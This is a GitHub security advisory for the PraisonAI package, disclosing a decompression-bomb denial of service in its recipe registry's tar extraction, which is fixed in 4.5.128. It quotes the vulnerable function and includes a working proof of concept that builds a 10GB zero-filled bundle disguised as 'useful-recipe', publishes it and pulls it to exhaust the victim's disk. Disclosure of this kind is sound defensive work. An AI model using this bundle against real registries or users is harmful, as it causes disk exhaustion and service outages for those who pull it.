GitHub Security Advisory: GHSA-f2h6-7xfr-xm8w
Package: PraisonAI (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Vulnerable versions: < 4.5.128
Patched in: 4.5.128

Summary: PraisonAI Vulnerable to Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits

Details:
## Summary

The `_safe_extractall()` function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling `tar.extractall()`. An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via `LocalRegistry.pull()` or `HttpRegistry.pull()`.

## Details

The vulnerable function is `_safe_extractall()` at `src/praisonai/praisonai/recipe/registry.py:131-162`:

```python
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    dest_resolved = dest_dir.resolve()
    for member in tar.getmembers():
        member_path = Path(member.name)
        # Reject absolute paths
        if member_path.is_absolute():
            raise RegistryError(...)
        # Reject '..' components
        if '..' in member_path.parts:
            raise RegistryError(...)
        # Reject resolved paths escaping dest_dir
        resolved = (dest_resolved / member_path).resolve()
        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
            raise RegistryError(...)
    # All members validated — safe to extract
    tar.extractall(dest_dir)  # <-- No size limit
```

The function iterates all tar members and checks for path traversal (absolute paths, `..` components, resolved path escaping), but never inspects `member.size`. The `TarInfo.size` attribute is available on every member and represents the uncompressed size, but it is never read.

This function is called from two locations:
- `LocalRegistry.pull()` at line 396-397
- `HttpRegistry.pull()` at line 791-792

The `publish()` method at line 296-298 only copies the compressed bundle via `shutil.copy2()`, so the bomb only detonates when a victim calls `pull()`.

No size limits, upload quotas, or decompression guards exist anywhere in the registry module.

## PoC

```bash
# Step 1: Create a malicious recipe bundle
mkdir bomb && cd bomb

cat > manifest.json << 'EOF'
{"name": "useful-recipe", "version": "1.0.0", "description": "Helpful AI recipe", "tags": ["ai"], "files": ["agent.yaml"]}
EOF

# Create a 10GB file of zeros (compresses to ~10MB with gzip)
dd if=/dev/zero of=agent.yaml bs=1M count=10240

# Bundle it as a .praison file
tar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml
cd ..

# Step 2: Publish to local registry (~10MB stored)
python -c "
from praisonai.recipe.registry import LocalRegistry
reg = LocalRegistry()
reg.publish('useful-recipe-1.0.0.praison')
"

# Step 3: Victim pulls — extracts 10GB to disk
python -c "
from praisonai.recipe.registry import LocalRegistry
reg = LocalRegistry()
reg.pull('useful-recipe')
"
# Result: 10GB+ written to disk, potential disk exhaustion
```

## Impact

- **Disk exhaustion:** A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk